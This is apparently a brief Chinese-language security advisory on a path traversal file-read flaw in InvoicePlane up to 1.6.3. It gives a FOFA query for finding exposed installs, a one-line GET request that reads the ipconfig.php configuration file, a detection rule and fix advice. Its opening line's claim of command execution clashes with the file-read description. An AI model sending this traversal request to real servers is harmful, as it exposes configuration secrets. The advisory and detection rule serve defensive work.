InvoicePlane-CVE-2026-23491-任意文件读取

InvoicePlane-CVE-2026-23491-任意文件读取，攻击者可执行任意命令导致服务器被控。

影响版本

InvoicePlane <= 1.6.3

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA：body="InvoicePlane"

POC/EXP：

GET /index.php/guest/get/get_file/..%2f..%2fipconfig.php HTTP/1.1
Host: 127.0.0.1

sonrt规则：

alert http any any -> $HOME_NET any (
    msg:"InvoicePlane CVE-2026-23491 - /guest/get/get_file 路径遍历任意文件读取 (..%2f 编码穿越)";
    flow:to_server,established;
    http.method; content:"GET";
    http.uri;
        content:"/guest/get/get_file";
        fast_pattern;
    http.uri;
        content:"..%2f"; nocase;
        content:"..%2F"; nocase; distance:0;
        content:"ipconfig.php"; nocase; distance:0;
    metadata:
        service http,
        affected_product "InvoicePlane <=1.6.3",
        cve "CVE-2026-23491",
        vulnerability_type "Path Traversal / Arbitrary File Read",
        severity "high";
    classtype:web-application-attack;
    sid:1000731;
    rev:1;
    priority:1;
)

漏洞修复

关闭互联网暴露面或接口设置访问权限，升级至安全版本。